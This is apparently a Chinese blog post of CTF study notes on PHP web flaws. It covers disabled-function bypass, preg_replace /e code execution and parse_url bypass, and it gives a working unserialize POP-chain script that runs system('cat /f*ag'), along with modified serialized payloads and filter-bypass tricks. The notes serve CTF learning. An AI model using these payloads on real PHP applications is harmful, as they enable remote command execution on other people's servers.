php_learn

php的一些知识点

一些函数漏洞

ban了一堆函数怎么办

php中函数禁用绕过的原理与利用_ctf ini_set(‘open_basedir’, ‘/var/www/html/:/tmp/‘-CSDN博客

file_put_contents利用技巧

(php://filter协议):file_put_contents利用技巧(php://filter协议) - yokan - 博客园 (cnblogs.com)

preg_replace漏洞

深入研究preg_replace \e模式下的代码执行_preg_replace()执行问题-CSDN博客

常用payload:

1
?\S*={${phpinfo()}}

post模式下同理,一个传匹配模式,然后传恶意代码

parse_url函数的绕过(可以套娃)

parse_url函数的解释和绕过-CSDN博客

反序列化漏洞

好文:php(phar)反序列化漏洞及各种绕过姿势_php反序列化漏洞解决方案_奔跑的蜗牛.的博客-CSDN博客

绕过wakeup

字符串逃逸

例题参考moectf2023newstarctf2023week4的一道题

fast_destruct

标准做法(newstarctf2023wee4一题)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class Start {
public $errMsg;
}
class Pwn {
public $obj;
}
class Reverse {
public $func;
}
class Web {
public $func = "system";
public $var = "ls";
}
class Crypto {
public $obj;
}
$obj = new Start;
$obj -> errMsg = new Crypto;
$obj -> errMsg -> obj = new Reverse;
$obj -> errMsg -> obj -> func = new Pwn;
$obj -> errMsg -> obj -> func -> obj = new Web;
$obj -> errMsg -> obj -> func -> obj -> func = "system";
$obj -> errMsg -> obj -> func -> obj -> var = "cat /f*ag";
$a[0] = $obj; $a[1] = NULL;
echo str_replace("i:0", "i:1", serialize($a));

1.修改序列化数字元素个数

1
2
3
4
5
newstarctf2023wee4一题

原paylaod:O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}

改成O:5:"Start":2:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}

2.去掉序列化尾部 }

1
2
3
newstarctf2023wee4一题

O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}

preg_match(‘/^O:\d+/‘)的绕过方式

1
2
1、利用加号绕过(注意在 url 里传参时 + 要编码为 %2B)#在这个题里不行
2、serialize(array(a));a 为要反序列化的对象 (序列化结果开头是 a,不影响作为数组元素的 $a 的析构)

传引用改值


php_learn
http://ikun604.github.io/2023/11/05/php-learn/
作者
yfz-ikun604
发布于
2023年11月5日
许可协议